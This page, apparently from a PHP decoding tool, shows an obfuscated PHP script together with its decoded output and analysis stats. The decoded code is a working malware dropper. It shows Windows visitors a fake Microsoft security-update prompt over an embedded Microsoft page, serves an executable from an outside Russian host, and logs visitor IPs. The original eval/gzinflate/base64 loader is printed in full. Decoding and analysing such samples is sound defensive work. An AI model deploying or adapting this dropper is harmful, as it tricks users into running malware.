Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $JT4454 = "bhvw*ekxt;1gszl9r(a7ic.4p)826jfudynq350_/mo";$Z4429 = $JT4454[24].$JT4454..

Decoded Output download

error_reporting(0);

$browser = $_SERVER['HTTP_USER_AGENT']; //&#1054;&#1087;&#1088;&#1077;&#1076;&#1077;&#1083;&#1103;&#1077;&#1084; UA

if (preg_match("#Windows#", $browser)) {

$file = "http://vizavi-ms.ru/system/update.exe"; //&#1089;&#1089;&#1099;&#1083;&#1082;&#1072; &#1085;&#1072; &#1092;&#1072;&#1081;&#1083;
$ip = $_SERVER['REMOTE_ADDR'];
$filename = "KB234234_Update.exe"; //&#1085;&#1072;&#1079;&#1074;&#1072;&#1085;&#1080;&#1077; &#1092;&#1072;&#1081;&#1083;&#1072;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1077; &#1074;&#1099;&#1076;&#1072;&#1089;&#1090; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1072; &#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1090;&#1077;&#1083;&#1102;
$load = "http://windows.microsoft.com/en-us/windows/downloads"; //&#1057;&#1090;&#1088;&#1072;&#1085;&#1080;&#1095;&#1082;&#1072; &#1082;&#1086;&#1090;&#1086;&#1088;&#1072;&#1103; &#1073;&#1091;&#1076;&#1077;&#1090; &#1087;&#1086;&#1082;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100;&#1089;&#1103;, &#1074;&#1084;&#1077;&#1089;&#1090;&#1086; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1095;&#1082;&#1080; &#1086;&#1088;&#1080;&#1075;&#1080;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1075;&#1086; &#1089;&#1072;&#1081;&#1090;&#1072;
$date = date("M d, Y h:i A");
if (file_exists("stats.log.txt")) //&#1087;&#1080;&#1096;&#1077;&#1084; &#1083;&#1086;&#1075; &#1079;&#1072;&#1093;&#1086;&#1076;&#1086;&#1074;
{
$logs = file_get_contents("stats.log.txt");
$logs .= "$ip - $browser 
";
 
} else {

$logs = "$ip - $browser 
";

}

if(isset($_GET['get'])){
file_put_contents("stats.log.txt", $logs);  
/*header('Content-Type: application/octet-stream');
header('Content-Transfer-Encoding: Binary');
header('Content-Disposition: attachment; filename='.$filename); echo file_get_contents($file); */
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" . basename($filename) . "\"");
ob_clean(); flush();
readfile($file); // do the double-download-dance (dirty but worky)
exit;
}

if (!isset($_COOKIE["d"]) && $_COOKIE["d"] !== "1")
{

//&#1060;&#1086;&#1088;&#1084;&#1072; &#1075;&#1076;&#1077; &#1087;&#1088;&#1077;&#1076;&#1083;&#1072;&#1075;&#1072;&#1077;&#1090;&#1089;&#1103; &#1089;&#1082;&#1072;&#1095;&#1072;&#1090;&#1100; &#1072;&#1087;&#1076;&#1077;&#1081;&#1090;, &#1084;&#1086;&#1078;&#1085;&#1086; &#1084;&#1077;&#1085;&#1103;&#1090;&#1100; &#1082;&#1072;&#1082; &#1074;&#1072;&#1084; &#1091;&#1075;&#1086;&#1076;&#1085;&#1086;

echo "<!DOCTYPE>
<html>
<head>
<script type=\"text/javascript\">
var superroot = window.location.protocol + '//' + window.location.host + '/' + window.location.pathname;

window.onload = function(){          

if(isIE () == '7' || isIE () == '8' || isIE () == '9' || isIE () == '10')
{
 document.getElementById(\"content\").innerHTML='<iframe width=\"100%\" height=\"100%\" src=\"".$load."\" frameborder=\"0\"></iframe>';
}else{
 document.getElementById(\"content\").innerHTML='<object type=\"text/html\" width=\"100%\" height=\"100%\" data=\"".$load."\"></object>';
}

setTimeout(function(){

if (confirm('" . $date . "
 
Microsoft Windows - Stay up to date! 
 
[NOTE] - Security Update for Windows ***" . $filename . "
 
More information: http://go.microsoft.com/fwlink/?LinkId=258247')) {

 setTimeout(function(){
 var url = superroot + '?get';
 document.getElementById('my_iframe').src = url;
 }, 500);
}
}, 3000);

function isIE () {
  var myNav = navigator.userAgent.toLowerCase();
  return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false;
}
}

</script></head><body><iframe id=\"my_iframe\" style=\"display:none;\"></iframe><div id=\"content\" style=\"position:absolute;top:0;left:0; width:100%; height:100%;\"></div></body></html>";
setcookie('d', '1', time() + 2678400, '/'); //Month
exit;
}

}

Did this file decode correctly?

Original Code

<?php $JT4454 = "bhvw*ekxt;1gszl9r(a7ic.4p)826jfudynq350_/mo";$Z4429 = $JT4454[24].$JT4454[16].$JT4454[5].$JT4454[11].$JT4454[39].$JT4454[16].$JT4454[5].$JT4454[24].$JT4454[14].$JT4454[18].$JT4454[21].$JT4454[5];$cK769 = "e".chr(118)."".chr(97)."l(\x67zi\x6e\x66la\x74\x65(".chr(98)."".chr(97)."".chr(115)."\x65\x36\x34".chr(95)."de\x63".chr(111)."".chr(100)."\x65(";$cIl6592 = ")".chr(41)."".chr(41)."\x3B";$kjJX9046 = $cK769."'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'".$cIl6592;$Z4429($JT4454[40].$JT4454[22].$JT4454[4].$JT4454[40].$JT4454[5], $kjJX9046  ,"410"); ?>

Function Calls

chr 10
gzinflate 2
preg_replace 1
base64_decode 2

Variables

$Z4429 preg_replace
$cK769 eval(gzinflate(base64_decode(
$JT4454 bhvw*ekxt;1gszl9r(a7ic.4p)826jfudynq350_/mo
$cIl6592 )));
$kjJX9046 eval(gzinflate(base64_decode('nVd/c9M4EP2/M/0OW8Nhp9fYTpo0Tt..

Stats

MD5 e6fed65c6d983f50073b0b7e5b98964b
Eval Count 3
Decode Time 121 ms